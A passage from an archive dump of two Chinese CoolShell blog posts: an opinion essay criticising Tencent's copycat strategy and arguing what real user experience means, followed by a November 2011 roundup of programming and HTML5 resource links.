    "content": "<html><body><p>自从<a href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\" title=\"来信， 创业 和 移动互联网\">那篇rant了一堆公司都的文章</a>发布来，得到了大家的关注，有些朋友让我写一下腾讯，在我的微博上（<a href=\"http://weibo.com/haoel\" target=\"_blank\">@左耳朵耗子</a>）还有位腾讯的朋友让我也评价一下腾讯。本来不想写的，觉得腾讯没啥好说的，但是因为下面的几个原因，让我有点坐不住了：</p>\n<ol>\n<li>这两天知乎上的一个“<a href=\"http://www.zhihu.com/question/19920338\" target=\"_blank\">腾讯的核心竞争力</a>”的贴子在微博上被很多人所推崇。</li>\n<li>还有一个网友发邮件给我说让我别rant了，宁可C2C也比rant有意义。</li>\n<li>我周末的时候去豆瓣和他们交流了一些关于产品和用户体验方面的话题。</li>\n<li>还看到了Jeff Bezos的访谈文章《<a href=\"http://tech.sina.com.cn/i/2011-11-17/15546337096.shtml\" target=\"_blank\">贝佐斯：亚马逊是科技界唯一一家低利润公司</a>》</li>\n</ol>\n<p>于是就有了这篇文章，但不想再rant了，我希望这篇文章更有价值一些，但是我喜欢的调侃的风格依然，因为这是我觉得能让文章有趣味的方式。</p>\n<h4>腾讯的“价值”</h4>\n<p>首先我想说说腾讯的价值。根据我<a href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\" title=\"来信， 创业 和 移动互联网\">那篇 rant 的文章</a>来说，我觉得人要活得有价值，事业也要做得有价值。我不太待见那些没有价值的东西。所以，我在那篇文章里让大家都思考了一个问题，我们做这个事的价值在哪里？所以，要评论腾讯，就得想想他的价值。众所周知，腾讯的起家是通过IM软件QQ，当然，他有段时间几乎快不行了。不过挺过来了，造就了这么一个帝国。所以，腾讯的价值应该是即时通讯，让大家的沟通变得更顺畅，这点腾讯的确做得非常强大，视频，音频，涂鸦，抓屏，表情，Q币，共享，群聊，新闻，弹窗，离线文件，远程协助…… 的确做得非常地体贴用户。除了扫描硬盘文件有点那个。</p>\n<p>但是，最近的腾讯变了（当然有人说他也没有变，QQ本来就是抄来的），有什么就抄什么，没有创意，山寨大王，成了腾讯的代名词。马云也说过：“现在腾讯拍拍网最大的问题就是没有创新，所有的东西都是抄来的”。网上还有很多，什么“一直在抄袭，从未超越过”或是“<a href=\"http://weibo.com/2093492691/xwYpFB9IK\" target=\"_blank\">一直在山寨，从没反省过</a>”等等的话，还有“<a href=\"http://tieba.baidu.com/f?kz=1007979914\" target=\"_blank\">自从有了XXX，腾讯就出了XXX</a>”的文体。</p>\n<p><strong>但是，你们都错了，包括马云，我不同意你们，我觉得这正是腾讯的价值所在</strong>。</p>\n<p><span id=\"more-5901\"></span></p>\n<p>昨天有个网友写邮件给我说，整天rant也没啥意思吧，还不如真的做点C2C吧。他的想法是先把一些基本的东西如评论，发贴，头像，登录什么的都做好，然后国外出什么就抄什么，抄的会飞快。我给他回信说，你抄得过腾讯吗？他无语了。你看，一个有C2C想法的人就这样被放弃了其想法。所以，我觉得，<strong>腾讯这样大规模的抄袭和山寨，对整个社会的价值就是——<span style=\"color: #cc0000;\">会让很多很多的创业团队放弃Copy，甚至让他们要放弃那些容易被复制的“业务型的项目”，而逼着他们去努力思考，如何才不能被腾讯复制，如何才能有自己的核心价值</span></strong>。而所有的骂名都被腾讯所承当，腾讯把住了所有的茅坑，让你不得不去做最有价值的东西，这是一种什么样的精神啊？！对于那些整天都在骂腾讯的人来说，你们好好地去面壁反思吧！</p>\n<h4>“腾讯的核心竞争力”一文</h4>\n<p>顶在<a href=\"http://www.zhihu.com/question/19920338\" target=\"_blank\">这篇文章</a>最上面的最佳答案是腾讯无线国际业务产品总监Andy Pan的答案，在微博上也广受推崇。不知道为什么，我总是有一些和大家不一样的想法，看来我是一个有相当逆反心理的愤青。没做出什么东西来，话还挺多，我都有点烦自己了，你也多多原谅我。</p>\n<p>Andy Pan的答案中，说了两点核心竞争力，第一个是腾讯的IM平台，还用了Windows来做比较，很明显，这个前微软件的产品总监并不知道什么是平台，关于平台，<a href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\" title=\"SteveY对Amazon和Google平台的长篇大论\">Steve Y的这篇平台论</a>说得很清楚了，建议Andy同学学习一下。Windows之所以是个平台的原因是因为Windows没有什么都做，而是开放了很多很多的API和SDK让第三方的产商去做，而腾讯并没有开放IM的API，不但搞定了珊瑚虫，而且什么事情都要自己做，这根本不是平台，平台是要去开放的，是要去为业界创造生态环境的，而腾讯的做法更像是封闭的垄断。当Andy Pan说起Amazon收购Zappos的时候，他忘记了Amazon的云平台上还养了一个巨大的竞争对手Target（最近分手了），还养了十年。因为，Bezos觉得有个竞争对手和自己进行良性的竞争对自己是有好处的。</p>\n<p>Andy还说做为一个IM细分用户的领域是有必要的，没错，完全赞同。不过，实在看不出来对领域的细分，更多的是对领域的扩张。新闻门户，搜搜，拍拍，百科，Q吧，炫风，炫舞，三国，英雄杀，浏览器，输入法，对战平台，电台，影音，图书，阅读，3366，QQTalk…… 一点都看不出来的是对IM的细分。你信吗？</p>\n<p>第二个Andy说的核心竞争力是员工加班。加班到深夜也成了核心竞争力，看来是实在找不到核心竞争力了。好吧，我觉得这句话可以说得更好一些，再怎么也应该说成是企业文化，或是企业文化催人奋进，每个人都有主人翁的精神，而不是工作负荷大嘛。你看，我都能说的这么漂亮啊，我才是像高管的样子哦，吼吼。对我来说，加班文化是差团队的表现，要么就是管理不行，让大家都加班，要么就是自己不行（反正肯定有问题，我在<a href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\" title=\"多些时间能少写些代码\">多些时间能少些代码</a>里论述过了）。当然，我知道了，腾讯的战线拉得很长，什么都要做，当然会那么累了，要学会做精不要做多嘛。</p>\n<p>作为一位高管，应该要知道，重要的不是你有多努力，你花了多少时间，而是你有没有去思考，有没有去创造价值。<strong>腾讯难道不觉得，不断地创新去颠覆传统才是互联网行业的核心竞争力吗</strong>。</p>\n<p>我觉得腾讯那所谓的核心竞争力是用户数量大，大在关系链上，像我这样几本不用QQ的人有时候都会被朋友和同学逼着去用QQ收个文件照片或是远程协助个什么。QQ这个聊天工具做得非常不错，这点我是要赞一下的。所以，这才让用户聚集起来，没有了这个，不知道腾讯会怎么样。</p>\n<h4>腾讯的软肋</h4>\n<p>Andy Pan有一点说的是对的，就是腾讯和微软很像，不过像的不是平台，而是运营模式——那就是永远跳不出自己的模式。微软不管做什么，都必需誓死捍卫其Windows平台，连那么有创造力的体感硬件Knect也只能用在微软的产品和平台上，更不用说hotmail，Bing和Sharepoint了，如果能开放一些用点别的技术，我相信微软在互联网界可能还是很强大的。</p>\n<p>腾讯也逃不出“腾讯的模式”——那就是<strong>大量的低端业务和低端内容</strong>。我不确定腾讯是不是像微软那样誓死捍卫其低端业务和内容的。但是QQ的确驱逐了很多高质量的用户，因为QQ上的不成熟的小孩太多了，交友，网恋，甚至欺骗和色情在那里泛滥，造成劣币驱逐良币。另外，QQ这个名词起得很不好，因为正常点的成年人都不会去Q（装可爱），所QQ好像也就成了未成年人的代名词。而似乎有自我价值诉求的人都不会用QQ，在正式场合比如自己的应聘简历上留一个QQ邮箱还是有点掉价的。可见QQ的这个品牌形象很低端。腾讯的很多产品都走的都是这个路线。</p>\n<p>不可否认，这和中国网民的群体素质有关系。但我以为，<strong>作为那么大的公司，应该担负起培养或引导网民素质，开启民智，引人向上的角色，而不是将就于低端的大众用户</strong>。</p>\n<p>另外，还值得一提的是近来关于通过QQ抓人的新闻很多，所以，大家都知道的为什么更多的用户去用gtalk了。不过有一点应该是真的，那就是通过QQ监控聊天用户的体验，应该是很不错的。</p>\n<p>看到这里，你一定会对我抱怨说：“我擦，你这篇还照旧是一篇rant，fuck你一万遍”。别骂了，你没有看我已经赶快起了一个新段落来说点我觉得有点价值的东西。</p>\n<h4>真正的用户体验</h4>\n<p>说起用户的体验，这是一个可能比较大的，也可能比较具体的话题（以前本站有一篇<a href=\"https://coolshell.cn/articles/3142.html\" target=\"_blank\" title=\"用户界面和用户体验的差别\">关于UX比喻的文章</a>）。关于用户体验来说，很多人都以为是对UI的一个加强，也就是说把UI的操作做得更好。所以，大家都在UI上花大力气做UX。这样的认识并不错，QQ做得也是非常好的，看看WebQQ，真是非常地强大。</p>\n<p>不过，我想说，<strong>如果你认为用户的体验在UI上，那么你只看到了用户体验的冰山一角，用户的体验远远不只这个</strong>。“<strong>任何表面上的东西都是肤浅的</strong>”——这是写Effective C++的Scott Meyers说的。</p>\n<p>你看——Reddit，Twitter，StackOverflow， 还有国内的豆瓣，界面做的真的不怎么的，Reddit的界面ugly到了就像是一个没有完成的原型网站一样！但是为什么人家的用户人气那么旺，为什么呢？</p>\n<p>这就是我想说的比UI更高层次的用户体验了——<strong>关注用户的真正的体验</strong>。我先举个例子——</p>\n<blockquote><p>大家知道Amazon注册了很多个容易让人打错的域名吗？我这里有一个不完整的列表：Amamzon.com， Amaxon.com，Amazong.com，Amozon.com，Amazonc.com，Amazone.com，Amazn.com（翻墙），namazon.com…… 为的都是用户体验。（注：你要是用拼音也可以，如：yamaxun.com）</p></blockquote>\n<p>这是一个很小的例子，旨在说明用户体验不单单是UI的事。</p>\n<p>下面正式阐述真正的用户体验（这些东西我在前面<a href=\"https://coolshell.cn/articles/5815.html\" target=\"_blank\" title=\"来信， 创业 和 移动互联网\">那篇rant里提过了</a>，这里说得更细一点）——</p>\n<ul>\n<li><strong>注重社区的质量</strong>。很多论坛和网站的兴起都是因为一开始有高质量的文章和素质高的人，然而，人气一足，三教九流的人都来了，于是劣币逐良币，那些素质高的人就只能离开了。所以，任何把高质量和低质量的东西放在一起的社区相当的破坏整体用户体验。尤其是那些对质量有诉求的人。为了避免劣币逐良币，大家要学习一下豆瓣，StackOverflow，没有什么热文版，就算有，也要精心地控制内容的质量。<strong>你要知道，人们来这里是因为被这个社区有价值的东西吸引来的</strong>。就像是去StackOverflow或Quora一样，可以得到很靠谱的答案，可以和很牛的人在一起交流，这是社区的价值。所以，像StackOverflow或Quora这样的网站，一些质量不高的答案在那里就会被投反对票，其会影响你的reputation。看看Amazon.com上的书评，IMDB上的影评，非常专业，还有打分，高质量的东西自然就浮出来了，低质量的东西自然就下降了。<strong>小心维护社区的质量必然会给用户有更好的体验</strong>。（不知道大家有没有参加过豆瓣的小组活动，我有一个朋友参加过一次关于绘画的活动，说是质量相当高）</li>\n</ul>\n<ul>\n<li> <strong>注重社区的权威</strong>。像豆瓣或是Stackoverflow上都有评分。你怎么能让你的评分有权威性呢？你知道，在中国这块土地上有大量的五毛和水军，他们随时都可以开动，3Q大战的时候大家都见识过了，对于这些牛皮癣怎么办呢？在Stackoverflow上，你会发现，你没有15点reputation，你没有资格vote什么，你为了要能去vote什么，你先得贡献些什么，对于不懂技术的五毛和水军们完全搞不定这些东西了（当然，你可以去建一个问题，但是要小心被down vote）。对于豆瓣来说，豆瓣的每个用户都有个权威值，这个值通过用户的在线时间，发贴数量，访问次数，有没有高质量的文章，有没有参加社区活动，等等等因素，得出一个权威值。刚注册的用户权威值为0，如果有了一些负面的东西还有可能是负数，有些被社区所推崇的牛人级的用户的权威可能高达几千几万。这样，当水军和五毛们对一本书或是一个电影投票的时候，就算是数量大，但基本上没有什么作用。这就是为什么豆瓣里有的电影有70%的人投了三分或四分，但那个电影还是在快5分的样子。这就是为了维护社区的权威和质量的体现。淘宝的好评差评也是一样，但是如果可以被水军去冲的话，那就很没有意思了。看看大众点评网里的那些评论，很多都完全失去了权威。因为他们没有vote的机制。</li>\n</ul>\n<ul>\n<li><strong>注重用户的个性化，并引导用户</strong>。登录进入Amazon或豆瓣或是新浪微博，在首页上，你会看到你所关注的东西。整个首页是为你个人量身定制出来的。这样一来，就算这个社区里有什么流氓或是低端用户，那也不会影响用户的体验（新浪微博的隐私设置也是很不错的）。最注要的是，这让为引导用户，开启民智做了充分的准备——这就是推荐。Amazon是推荐算法的鼻祖。推荐书，推荐产品的邮件，页面定制，等等。Henry Ford 说过——“如果你问用户想要什么，他们会告诉你要一匹更快的马”，看看苹果的设计出来的产品，都是在引导用户，如果你只看到了苹果的UI，那只看到了一部分。苹果开发的东西都在引导用户认可和追逐有艺术气息的数码产品。所以，<strong>根据用户的特征来向用户推荐并引导用户，告诉用户什么是好的，什么是有价值的，才是真正的用户体验</strong>。</li>\n</ul>\n<div>\n<ul>\n<li><strong>把事变简单，把难度降低</strong>。还记得以前的PC上的Windows吗？还记得以前的个人主页，现在的blog吗？他们可以让更多的人会更容易地操作电脑，发布信息。看看苹果的iPad，其可以让一个5岁的孩子或是60岁的没的接触过电脑的老人在5分钟内学会使用电脑上网浏览。这意味着什么？这意味着会使用电脑的人越来越多；可以让更多的人发布自己的信息。<strong>这意味着什么？这意味着金字塔低端的人会越来越多，于是生态环境也会越来越好</strong>。<strong>对于业务来说，你需要给予end-to-end的服务。</strong>就像苹果一样，你不要担心买来电脑怎么去装软件，去下载音乐和电影，也不必担心会装上恶意的软件。就像Amazon的第三方商户平台，对于商户来说，你把货发给Amazon就好了，你不必担心库存，物流，客服，退货，财务，所有的一切都由Amazon代劳了。这些东西才是最强悍的东西。（腾讯的QQ也是让很多人能上网聊天，降低了网聊的难度，所以也流行了起来）</li>\n</ul>\n<p>上面的这四点真正的用户体验，腾讯有没有做到？你有答案的。老实说，腾讯的用户体验只做了些很表面的东西。</p>\n<p>最后，让我用我东家老大的话来结束这篇文章—— <strong></strong></p>\n<blockquote><p>“我们对于完美客服体验的理解是，用户其实并不希望与我们直接对话。每次客户联系我们，我们都视为工作中的失误。我已经说了好多年了，人们应该与他们的朋友交谈，而不是与商家。因此，我们充分利用各种客服信息来探究客户联系我们的真正原因。什么地方出现问题了？那个人为什么要打电话？为什么他们花费时间与我们交谈而不是与家人交谈？我们如何解决这个问题？”</p>\n<p style=\"text-align: right;\">—— Jeff Bezos</p>\n</blockquote>\n<p style=\"text-align: center;\"><strong>尊重用户，提高品质，不断创新——这才是互联网企业的核心竞争力！</strong></p>\n<p style=\"text-align: left;\"><span style=\"color: #cc0000;\">最后注明一下版权，<strong>本文由陈皓原创发表，你可以任意传载，但必需在明显位置注明作者和出处，而且不能用于任何商业用途</strong></span>。</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7617.html\"><img alt=\"抄袭，腾讯 和 产品 \" height=\"150\" src=\"../wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5987.html\"><img alt=\"如何设计“找回用户帐号”功能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5987.html\">如何设计“找回用户帐号”功能</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5966.html\"><img alt=\"腾讯帐号申诉的用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5966.html\">腾讯帐号申诉的用户体验</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11112.html\"><img alt=\"由苹果的低级Bug想到的\" height=\"150\" src=\"../wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-24 一些文章资源和趣闻.html",
    "content": "<html><body><p>下面是我这段时间来收集的一些有意思的东西。本站这样的文章还很多，如<a href=\"https://coolshell.cn/articles/5224.html\" target=\"_blank\" title=\"一些文章和各种资源\">这个</a>，<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">这个</a>，<a href=\"https://coolshell.cn/articles/3903.html\" target=\"_blank\">这个</a>。</p>\n<p>Javascript Garden，这是学习Javascript最好的网站了。<a href=\"http://bonsaiden.github.com/JavaScript-Garden\">http://bonsaiden.github.com/JavaScript-Garden</a>，这个文档由两具StackOverflow的人写成, <a href=\"http://stackoverflow.com/users/170224/ivo-wetzel\">Ivo Wetzel</a>(Writing) 和 <a href=\"http://stackoverflow.com/users/313758/yi-jiang\">Zhang Yi Jiang</a> (Design)，表示敬意。</p>\n<p>想看看Web开发有哪些技术吗？你得看看这个网站：<a href=\"http://stackparts.com/\">http://stackparts.com/</a>，他对目前几乎所有Web上用得到的技术都分了个类。下面是个抓图。</p>\n<p><a href=\"http://stackparts.com\"><img alt=\"\" class=\"aligncenter size-full wp-image-5950\" height=\"414\" src=\"../wp-content/uploads/2011/11/stackparts.com_.png\" title=\"各种Web开发用到的技术\" width=\"513\"/></a></p>\n<p>Mozilla的安全编程规范 <a href=\"https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines\">https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines</a> <a href=\"http://research.microsoft.com/apps/dp/sq.aspx?a=47204&amp;sq=dl#a=!77148!80820!132314!81593!77135!103269!77072!138731!77112!131133!149403!77128!78088!143130!77023!139171!138997!141118&amp;p=1&amp;ps=36\">Downloads associated to Software development</a></p>\n<p>PHP,Perl, Ruby, Python语法比较<a href=\"http://hyperpolyglot.org/scripting?utm_source\">http://hyperpolyglot.org/scripting?utm_source</a></p>\n<p><span id=\"more-5537\"></span></p>\n<p>图形游戏编程的电子书 <a href=\"http://ploobs.com.br/?p=766\">http://ploobs.com.br/?p=766</a></p>\n<p>图形编程黑皮书：<a href=\"http://drdobbs.com/high-performance-computing/184404919\" target=\"_blank\">http://drdobbs.com/high-performance-computing/184404919</a></p>\n<p><a href=\"http://www.dpfiles.com/dpfileswiki/index.php?title=Black_Art_of_3D_Game_Programming:_Writing_Your_Own_High-Speed_3D_Polygon_Video_Games_in_C\" target=\"_blank\">Black Art of 3D Game Programming: Writing Your Own High-Speed 3D Polygon Video Games in C </a></p>\n<p>想学设计模式吗？这是一个非常好的网站：<a href=\"http://www.vincehuston.org/dp/\">http://www.vincehuston.org/dp/</a> 以元素周期表的形式把23个经典模式列出来，让我想到了这几天在看的美剧Breaking Bad，呵呵。</p>\n<p><img alt=\"\" class=\"alignnone aligncenter\" height=\"331\" src=\"http://www.vincehuston.org/images/GoF_full_medium.png\" title=\"设计模式元素周期表\" width=\"450\"/></p>\n<p>Learn C the Hard Way <a href=\"http://c.learncodethehardway.org/book/\" target=\"_blank\">http://c.learncodethehardway.org/book/</a></p>\n<p>Learn Ruby the Hard Way <a href=\"http://ruby.learncodethehardway.org/book/\">http://ruby.learncodethehardway.org/book/</a></p>\n<p>Learn Python the Hard Way <a href=\"http://learnpythonthehardway.org/\">http://learnpythonthehardway.org/</a></p>\n<p>Learn SQL the Hard Way <a href=\"http://sql.learncodethehardway.org/book/\">http://sql.learncodethehardway.org/book/</a></p>\n<p>Linux基础学习：</p>\n<ul>\n<li><a href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_1\" target=\"_blank\" title=\"Linux Fundamentals, Part 2\">Linux Fundamentals, Part 1</a></li>\n<li><a href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_2\" title=\"Linux Fundamentals, Part 2\">Linux Fundamentals, Part 2</a></li>\n<li><a href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_3\" title=\"Linux Fundamentals, Part 3\">Linux Fundamentals, Part 3</a></li>\n<li><a href=\"http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_4\" title=\"Linux Fundamentals, Part 4\">Linux Fundamentals, Part 4</a></li>\n</ul>\n<div>相了解GIF吗？这里有篇不错的文章：<a href=\"http://matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp\" target=\"_blank\">http://matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp</a></div>\n<div>如何在PC上通过VirtualBox装一个Android操作系统。 <a href=\"http://www.javacodegeeks.com/2010/06/install-android-os-on-pc-with.html\" target=\"_blank\">http://www.javacodegeeks.com/2010/06/install-android-os-on-pc-with.html</a> 不过这篇文章有点老了，是去年的，最新的方式是使用<a href=\"http://www.android-x86.org/\" target=\"_blank\">Android-x86</a>这个项目。</div>\n<p>一些你可能不知道的git的tips：<a href=\"http://mislav.uniqpath.com/2010/07/git-tips/\">http://mislav.uniqpath.com/2010/07/git-tips/</a></p>\n<p>一个给C/C++程序员用的Vim Plugin，我试用了一下，不是很好用。不过也许你会喜欢：<a href=\"http://www.fortystones.com/vim-plugins-c-cplusplus-developer/\">http://www.fortystones.com/vim-plugins-c-cplusplus-developer/</a></p>\n<p>数独游戏的程序算法，140个字节的一段javascript程序： <a href=\"https://gist.github.com/1230481/95f6facb74f51d089bea87eba0f470cf3bbed83a\" target=\"_blank\">https://gist.github.com/1230481/95f6facb74f51d089bea87eba0f470cf3bbed83a</a></p>\n<p>一个教你用HTML5做一个画图版的教程：<a href=\"http://www.primaryobjects.com/CMS/Article134.aspx\">http://www.primaryobjects.com/CMS/Article134.aspx</a> 其示例在这里 <a href=\"http://www.primaryobjects.com/paint/\">http://www.primaryobjects.com/paint/</a></p>\n<p><img alt=\"\" class=\"alignnone aligncenter\" height=\"301\" src=\"https://lh5.googleusercontent.com/-z17zh24rw4k/TmrH2wrPSRI/AAAAAAAAADQ/Az9W5Lge3Ok/h301/Untitled-1.gif\" width=\"376\"/></p>\n<p>这里又是一个HTML5的演示 <a href=\"http://www.spielzeugz.de/html5/sticky-thing/\">http://www.spielzeugz.de/html5/sticky-thing/</a>，一个物理的会粘在浏览器边框上的小方块，在iPad里演示相当有意思。只是其代码好像被搞得非常地不易读，不过，你可以试试这个工具来整理代码：<a href=\"http://jsbeautifier.org/\">http://jsbeautifier.org/</a>，但是变量命名还是会让你毫无头绪。</p>\n<p>HTML5的一个很炫的示例：<a href=\"http://lights.elliegoulding.com/\" target=\"_blank\">http://lights.elliegoulding.com/</a>  你可以用鼠标巡航，点左键加速（另，那位朋友知道其背景音乐？）</p>\n<p style=\"text-align: center;\"><a href=\"http://lights.elliegoulding.com/\"><img alt=\"\" class=\"size-full wp-image-5951 aligncenter\" height=\"322\" src=\"../wp-content/uploads/2011/11/lights.jpg\" title=\"lights\" width=\"600\"/></a></p>\n<p>想用HTML5做股票图吗？看看这个库：<a href=\"http://www.rocketcharts.com/\">http://www.rocketcharts.com/</a></p>\n<div>\n<div><img alt=\"\" class=\"aligncenter\" src=\"http://www.rocketcharts.com/img/rocketcharts.png\"/></div>\n</div>\n<p>一个7K的js，可以让你的HTML的列表很灵活的分类，排序，搜索，过滤：<a href=\"http://listjs.com/\">http://listjs.com/</a></p>\n<p>一个OOP的PHP处理图片的类库：<a href=\"http://imagine.readthedocs.org/\">http://imagine.readthedocs.org</a></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"140\" src=\"http://imagine.readthedocs.org/en/latest/_static/logo.png\" width=\"280\"/></p>\n<p>一个Javascript实现的H.264解码器。<a href=\"https://github.com/mbebenita/Broadway\">https://github.com/mbebenita/Broadway</a> （<a href=\"http://mbebenita.github.com/Broadway/broadway.html\" target=\"_blank\">演示地址</a> – 请用firefox打开，download速度可能很慢）不过，其是用Android C实现的，然后把C转成Javascript的代码。如果你想知道如何把C代码转成Javascript，你可以看看这个项目：<a href=\"https://github.com/kripken/emscripten\">https://github.com/kripken/emscripten</a> – LLVM-to-JavaScript compiler。（变态！）</p>\n<p>一个可以画流程图的Javascript lib – WireIt：<a href=\"http://neyric.github.com/wireit/\">http://neyric.github.com/wireit/</a></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5952\" height=\"283\" src=\"../wp-content/uploads/2011/11/wireit.png\" title=\"wireit\" width=\"411\"/></p>\n<p>这是一个网站，仅用CSS，没有JS，没有图片做的N多公司的logo。但其可以用纯CSS做个动画，你可以看看：<a href=\"http://www.ecsspert.com/atari.php\" target=\"_blank\">http://www.ecsspert.com/atari.php</a> 研究了一下发现其用到了  <span class=\"Apple-style-span\" style=\"font-family: monospace; font-size: 12px; line-height: 18px; white-space: pre;\">-webkit-animation</span>。</p>\n<p>一个用bash处理JSON的脚本：<a href=\"https://github.com/rcrowley/json.sh\" target=\"_blank\">https://github.com/rcrowley/json.sh</a></p>\n<p>微软VS中的Debug Canvas,相当的不错啊。<a href=\"http://msdn.microsoft.com/en-us/devlabs/debuggercanvas\">http://msdn.microsoft.com/en-us/devlabs/debuggercanvas</a>，可惜只在 Visual Studio Ultimate里。</p>\n<p>介绍一下很有意思的Firefox插件<a href=\"https://addons.mozilla.org/en-US/firefox/addon/tilt/\" target=\"_blank\"> Titl 3D</a>，其项目主页在 <a href=\"https://github.com/victorporof/Tilt\">https://github.com/victorporof/Tilt</a>。这个插件使用WebGL可以3D地显示网页，安装好插件后，简单地按一下Ctrl+Shift+M就可以了。下面我用其显示了新浪微博和WebQQ。目前的功能不是很多，但是这个插件简直是太cool了——可以大胆的设想一下以后会不会有3D的网页。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"331\" src=\"../wp-content/uploads/2011/11/tile3d_weibo.png\" title=\"tile3d_weibo\" width=\"650\"/></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5810\" height=\"331\" src=\"../wp-content/uploads/2011/11/tile3d_webqq.png\" title=\"tile3d_webqq\" width=\"650\"/></p>\n<p>最后，在网上看到一个笑话，如下：</p>\n<p>这是给程序员们女朋友的建议。如果某程序员要和你分手，你可以参照这位国外程序员女友的作法——“你可以在facebook和twitter上拉黑我，也可以不回我的短信，但是，你永远不可能阻止我对你在Reddit上发的所有的贴投反对票！FUCK YOU ！”</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-5953\" height=\"78\" src=\"../wp-content/uploads/2011/11/1z2qalh.png\" title=\"生气的女友\" width=\"499\"/></p>\n<p>就这些，希望对你会喜欢。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 